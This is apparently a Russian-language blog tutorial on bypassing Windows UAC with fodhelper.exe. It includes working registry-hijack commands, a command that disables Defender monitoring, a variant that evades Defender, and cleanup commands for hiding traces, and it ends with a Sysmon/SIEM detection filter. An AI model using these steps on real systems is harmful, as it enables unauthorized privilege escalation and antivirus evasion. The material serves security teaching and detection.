UAC bypass with fodhelper.exe vs Windows Defender

Всем привет!

Сегодня мы разберёмся с методикой обхода UAC при помощи утилиты fodhelper.exe, рассмотрим несколько способов при отключенном Windows Defender, а также усложним задачу и обманем защитник Windows, приправив всё капелькой теории.

Приступим!

Что такое UAC?

Контроль учетных записей пользователей (User Account Control, UAC) — это функция безопасности Windows, которая по умолчанию заставляет любой новый процесс запускаться в контексте безопасности непривилегированной учетной записи. Эта политика применяется к процессам, запускаемым любым пользователем, включая самих администраторов. Идея UAC состоит в том, что система не может полагаться исключительно на учетную запись пользователя, чтобы определить, следует ли ей осуществлять некоторые действия.

Представьте себе случай, когда пользователь по незнанию загружает вредоносное приложение из интернета. Если учетная запись пользователя входит в группу «Администраторы», любое приложение, которое он запустит, унаследует привилегии его токена доступа. Таким образом, если пользователь решит запустить вредоносное приложение, а UAC будет отключен, вредоносное приложение мгновенно получит права администратора.

При включенном же UAC вредоносное приложение будет ограничено токеном неадминистративного доступа

UAC Elevation

Если администратору необходимо выполнить привилегированную задачу, UAC предоставляет возможность повысить привилегии. Повышение прав работает путем предоставления пользователю простого диалогового окна для подтверждения того, что он явно одобряет запуск приложения в контексте безопасности администратора:

Integrity Levels

UAC — это Mandatory Integrity Control (MIC), представляющий механизм, позволяющий дифференцировать пользователей, процессы и ресурсы путем назначения каждому из них уровня целостности (Integrity Level, IL). Если говорить простыми словами, то пользователи или процессы с токеном доступа с более высоким IL смогут получить доступ к ресурсам с более низкими или равными IL. MIC имеет приоритет над обычными DACL Windows, поэтому, даже если нам разрешен доступ к ресурсу в соответствии с DACL, но у нас недостаточный IL, доступ предоставлен не будет.

В Windows существуют следующие IL:

1. Low — обычно используется для взаимодействия с Интернетом (например, Internet Explorer). Имеет очень ограниченные разрешения.
2. Medium — назначается обычным пользователям и "отфильтрованным токенам" администраторов (Administrators' filtered tokens).
3. High — используется токенами администраторов с повышенными правами (Administrators' elevated tokens), если UAC включен. Если UAC отключен, администраторы по умолчанию всегда будут использовать токен с высоким уровнем IL.
4. System — зарезервирован для использования системой.

Когда процессу требуется доступ к какому-либо ресурсу, он унаследует токен доступа вызывающего пользователя и связанный с ним IL. То же самое происходит, если процесс порождает дочерний процесс.

Filtered Tokens

Чтобы обеспечить разделение ролей, UAC несколько по-другому обращается с обычными пользователями и администраторами во время входа в систему:

1) Лица, не являющиеся администраторами, при входе в систему получат единый токен доступа, который будет использоваться для всех задач, выполняемых пользователем. Этот токен имеет средний IL.

2) Администраторы получат два токена доступа:

• Filtered Token: ограничивает административные возможности и используется для обычных операций. Этот токен имеет средний IL.
• Elevated Token: токен с полными административными привилегиями, используемый при запуске приложений с правами администратора. Этот токен имеет высокий IL.

Таким образом, администраторы будут использовать Filtered Token, только если явно не запросят административные привилегии через UAC.

При попытке открыть cmd.exe мы можем открыть командную строку либо от имени непривилегированного пользователя, либо от имени администратора. В зависимости от нашего выбора, порожденному процессу будет присвоен Medium или High Integrity Level токен:

Если мы проанализируем оба процесса с помощью Process Hacker, мы сможем увидеть связанные с ними токены и их различия:

Слева можно увидеть Filtered Token со средним IL, процесс практически не имеет назначенных привилегий. Справа процесс выполняется с высоким IL и имеет гораздо больше доступных привилегий. Другое отличие, которое может быть не столь очевидным, заключается в том, что процессу с Medium IL фактически отказано в любых привилегиях, связанных с принадлежностью к группе «Администраторы», хотя наш пользователь в неё входит.

Внутреннее устройство UAC

В основе UAC лежит Application Information Service (Appinfo). Всякий раз, когда пользователю требуется повышение прав, происходит следующее:

1. Пользователь запрашивает запуск приложения от имени администратора.
2. Осуществляется вызов API-функции ShellExecute при помощи runas.
3. Запрос перенаправляется в Appinfo для обработки повышенных прав.
4. Манифест приложения проверяется на предмет наличия "флага" AutoElevation.
5. Appinfo запускает процесс consent.exe (то самое окошко контроля учетных записей), который отображает окно UAC на защищённом рабочем столе (secure desktop). Защищённый рабочий стол — это просто отдельный рабочий стол, который изолирует процессы от всего, что выполняется на рабочем столе фактического пользователя, чтобы избежать какого-либо вмешательства других процессов в окно UAC.
6. Если пользователь дает согласие на запуск приложения от имени администратора, служба Appinfo выполнит запрос, используя повышенный токен пользователя.

UAC bypass

У атакующего может возникнуть ситуация, когда он получает удаленный шелл на хосте с ОС Windows через Powershell или cmd.exe. Его учетная запись входит в группу "Администраторы", но в случае создания пользователя для закрепления атакующий получит ошибку:

Проверив назначенные нам группы, мы можем подтвердить, что наш сеанс работает со средним IL, то есть мы эффективно используем отфильтрованный токен: 

Даже когда мы получаем сеанс Powershell от имени пользователя с правами администратора, UAC не позволяет нам выполнять какие-либо административные задачи, поскольку в настоящее время мы используем только отфильтрованный токен. Если мы хотим получить полный контроль над нашей целью, мы должны обойти UAC.

Важно отметить, что Microsoft не считает UAC границей безопасности, а скорее просто удобным средством для администратора, позволяющим избежать ненужного запуска процессов с высокими привилегиями. В этом смысле UAC является скорее напоминанием пользователю о том, что он работает с высокими привилегиями, а не препятствием для вредоносного ПО или злоумышленника. Поскольку это не граница безопасности, любой метод обхода не считается уязвимостью для Microsoft, и поэтому некоторые из них остаются неисправленными по сей день.

Большинство методов обхода полагаются на то, что мы можем использовать процесс с высоким IL для выполнения действий от нашего имени. Поскольку любой процесс, созданный родительским процессом с высоким IL, унаследует тот же уровень целостности, этого будет достаточно, чтобы получить токен с повышенными правами, не требуя от нас взаимодействия с окном UAC.

Fodhelper.exe

Для демонстрации обхода UAC воспользуемся классической техникой, связанной с бинарём fodhelper.exe.

Fodhelper.exe — это один из исполняемых файлов Windows, установленных по умолчанию по умолчанию, отвечающий за управление дополнительными функциями Windows, включая дополнительные языки, приложения или другие характеристики операционной системы. Как и большинство программ, используемых для настройки системы, fodhelper может автоматически повышать права при использовании настроек UAC по умолчанию, поэтому при его запуске не будет запрашиваться повышение прав.

Опустим детали работы утилиты при запуске и перейдём сразу к практике. Для злоупотребления этой утилитой нам необходимо заменить ключ реестра HKCU\Software\Classes\ms-settings\Shell\Open\command. Сделать это можно при помощи следующего набора команд:

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="cmd.exe"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f

После их исполнения достаточно просто ввести в cmd fodhelper.exe, после чего запустится команда, записанная в CMD:

Казалось бы, всё настолько просто, что тему можно закрывать. Но не тут-то было: стоит нам включить Windows Defender, как все наши планы рушатся...

Кстати, включить и отключить Windows Defender можно при помощи простых команд:

Disable Windows Defender:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

Enable Windows Defender:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"

Если мы попробуем запросить значение ветви реестра, которое мы установили для эксплуатации, то увидим, что оно пустое:

Заглянув в историю Windows Defender, можем увидеть, что он безошибочно определяет используемую нами технику:

Вышеприведенный скрипт отлично работает при отключенном Windows Defender.

Но что нам делать, если мы попали на цель, где Defender функционирует?

Попробуем воспользоваться способом, использующим ProgID. @V3ded предложил вариант эксплойта, в котором используются разные ключи реестра, но основной принцип остаётся тем же.

Вместо того, чтобы записывать нашу полезную нагрузку в HKCU\Software\Classes\ms-settings\Shell\Open\command, мы будем использовать запись CurVer в ключе реестра ProgID. Эта запись используется, когда в одной системе работает несколько экземпляров приложения с разными версиями. CurVer позволяет указать версию приложения по умолчанию, которая будет использоваться Windows при открытии файла определенного типа.

Скрипт, использующий возможности этого метода, приведён ниже:

$program = "cmd.exe"
New-Item "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.pwn\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".pwn" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

Как мы видим, он использует командлеты Powershell. Этот скрипт создает новый ProgID с именем .pwn и связывает нашу полезную нагрузку с командой, используемой при открытии таких файлов. Затем он указывает запись ms-settings CurVer на наш ProgID .pwn. Когда fodhelper попытается открыть программу ms-settings, то исполнится связанная с нашим добавленным ProgID .pwn команда, в данном случае cmd.exe (тут могла быть ваша обратная оболочка).

Однако, Windows Defender убьет нашу активность, погасив процесс PowerShell. В одном случае я выиграл Race Condition и успел запустить cmd.exe, но этот процесс всё равно крайне быстро умирает, не давая нам привилегий административной командной строки:

В истории Windows Defender мы видим знакомое срабатывание:

Но, в данном случае, у нас есть возможность обойти Defender, адаптировав эксплойт под cmd.exe без использования Powershell.

Выглядеть он будет следующим образом:

set CMD="cmd.exe"
reg add "HKCU\Software\Classes\.pwn\Shell\Open\command" /d %CMD% /f
reg add "HKCU\Software\Classes\ms-settings\CurVer" /d ".pwn" /f
fodhelper.exe

На скриншоте ниже видно, что из вновь порожденного процесса cmd.exe я попытался использовать прошлую нагрузку, и Defender её заблокировал:

Мы успешно обошли Windows Defender, получив cmd.exe с High Integrity Level, следовательно, время ̶б̶э̶к̶д̶о̶р̶и̶т̶ь̶ ̶с̶и̶с̶т̶е̶м̶у̶ ̶и̶ ̶с̶о̶з̶д̶а̶в̶а̶т̶ь̶ ̶л̶о̶к̶а̶л̶ь̶н̶о̶г̶о̶ ̶а̶д̶м̶и̶н̶а̶ подчищать следы:

reg delete "HKCU\Software\Classes\.pwn\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f

Fodhelper.exe vs Kaspersky

Обрадовавшись работающему методу, я решил опробовать его против KES. Но, к сожалению, его поведенческий модуль не даёт нам насладиться победой:

Detection

Напоследок немного поговорим про детект такой активности.

Всё, что мы делали в рамках разбора методики, — это создавали и изменяли значения реестра, а также запускали процессы reg.exe и fodhelper.exe. Для обнаружения такой активности в Windows есть события 4688 (запуск процесса) и 4657 (изменение значение в реестре).

Однако для логирования события 4657 помимо настройки аудита необходимо также настроить SACL.

Поэтому я предпочитаю использовать Sysmon для выявления вредоносной активности. В отличие от Windows Audit, в Sysmon есть три события, логирующих изменения реестра:

• 12: Object create and delete;
• 13: Value Set;
• 14: Key and Value Rename.

В контексте анализа вышеописанной активности нас буду интересовать события с ID 12 и 13.

Усовершенствованным аналогом события 4688 в Sysmon является EventID = 1 (Process creation).

Ниже приведён пример фильтра для MP SIEM, демонстрирующий логи, связанные с активностью:

event_src.host = "<hostname>" AND 
((msgid in [12, 13] AND ((object.path endswith "\\command\\" or object.path endswith "\\command" or object.path endswith "\\curver\\" or object.path endswith "\\curver") OR (object.fullpath endswith "\\command\\" or object.fullpath endswith "\\command" or object.fullpath endswith "\\curver\\" or object.fullpath endswith "\\curver")))
OR
(msgid = 1 and object.process.name in ["reg.exe", "regedit.exe"]))

Скриншот ниже демонстрирует результаты обнаруженной активности, и несложно догадаться, что это то, что мы и искали:

На этом материал подошёл к концу. Надеюсь, вы подчерпнули для себя полезную технику и узнали что-то новое.

До новых встреч!